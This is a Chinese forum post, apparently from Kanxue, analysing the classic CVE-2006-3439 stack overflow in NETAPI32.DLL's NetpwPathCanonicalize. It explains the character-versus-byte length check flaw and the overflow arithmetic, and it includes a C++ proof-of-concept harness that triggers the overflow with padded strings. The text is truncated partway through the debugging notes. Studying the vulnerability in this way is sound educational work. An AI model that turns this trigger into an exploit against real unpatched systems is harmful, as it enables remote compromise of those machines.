漏洞文件:NETAPI32.DLL漏洞函数:sub_7517FC68静态分析sub_7517FC68函数这里存在一个检测,但是由于使用了返回“字符数”的 wcslen,却与一个按“字节容量”推算的常量( 0x411 )进行比较,所以出现了溢出(v5是前缀长度,也就是strings)栈缓冲容量与检查阈值不匹配:
在 NETAPI32.DLL:0x7517fc6b 处为 Destination 分配 0x414 字节,即 1044 字节,等于 522 个 wchar_t 。
但长度检查在 NETAPI32.DLL:0x7517fcfe 比较的是 v5 + wcslen(Source) > 0x411 (1041 个宽字符)。
允许的最大长度被错误地设为 1041,而缓冲区只有 522,因此大量超长输入会“通过检查”,随后被无界拼接。
所以漏洞根源就是 栈缓冲真实容量是522个 wchar_t但长度检查用的是0x411 也就是1041(注意下面还有一个v5+len(source))所以我们主要关心,第一个第二个参数看调用链NetpwPathCanonicalize第一个和第四个参数这里先调用了NetpwPathType函数看一下做了什么处理长度小于0x103那总结下来,第一个参数strings,最大是0x206h(String 最大字符数 = 0x103, String 最大字节数 0x206 字节),缓冲区大小:0x414 字节 522 个 wchar_t。剩余空间 = 0x414 - 0x206 = 0x20E 字节,字节数: 0x41C = 1052 字节字符数:0x41C ÷ 2 = 0x20E = 526 字符v5 + wcslen(Source) = 259 + 526 = 785
785 < 1041 ✓ 通过检查
实际字节:
0x206 + 0x41C = 0x622 字节
0x622 > 0x414 ✓ 成功溢出
溢出量:
0x622 - 0x414 = 0x20E = 526 字节检查层面 (字符数) 实际内存 (字节数)
String: 259 字符 518 字节 (0x206)
↓ ↓
Source: 526 字符 1052 字节 (0x41C)
↓ ↓
总计: 785 字符 1570 字节 (0x622)
↓ ↓
对比: < 1041 ✓通过 > 1044 ✗溢出
代码用 wcslen(字符数)检查,但 wcscat 写入的是字节数,宽字符是 1:2 的关系,导致检查通过但实际溢出!、
wcslen 返回字符数 n
实际占用字节数 = n × 2
检查: n₁ + n₂ < 1041 ✓
实际: (n₁ + n₂) × 2 > 1044 ✗
差值被放大了 2 倍动态调试cpp调用dll#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
int main()
// 设置第二段路径字符串的长度为0x21A
char lpWideCharStr[0x21A];
// 设置用于接收格式化后的字符串的缓冲区空间为0x420
char arg_4[0x420];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
// 设置第一段路径字符串的长度为0x206,正好是门限大小
char arg_C[0x206];
long arg_10 = 1;
HINSTANCE libHandle; MYPROC funcAddr;
// 加载NETAPI32.dll函数
char dllName[] = "./NETAPI32.dll";
libHandle = LoadLibrary(dllName);
// 获取函数NetpwPathCanonicalize()的地址
funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == NULL || funcAddr == NULL )
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
// 将路径字串的第一部分内容填充‘A’,末两位以\x00结束
memset(arg_C, 0, sizeof(arg_C));
memset(arg_C, 'A', sizeof(arg_C)-2);
// 将路径字串的第二部分内容填充‘B’,末两位以\x00结束
memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
// 调用NetpwPathCanonicalize()函数
(funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}总体思路就是 首先通过 LoadLibrary 加载 NETAPI32.dll,并以 GetProcAddress 取得 NetpwPathCanonicalize 入口;随后向第一参数写入 1052 字节“B”字符,第四参数写入 518 字节“A”字符。函数内部拼接后路径总长 0x622 字节,而输出缓冲区仅 0x414 字节,致使 0x20E 字节(526 字节)数据越界覆盖栈内关键结构,从而触发缓冲区溢出。在memery断点,调试看一下断点 执行报错右键项目 → Properties
同样进入 C/C++ → Precompiled Headers
把 “Precompiled Header” 设为 “Not Using Precompiled Headers”
如果项目里原来有 stdafx.cpp,也可以把它从工程中移除或排除预编译头的问题,在前面加上#include "stdafx
...(已截断)
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-289873.htm
[原创]经典漏洞分析:windows cve-2006-3439
398 浏览
0 回复
暂无回复,快来抢沙发吧!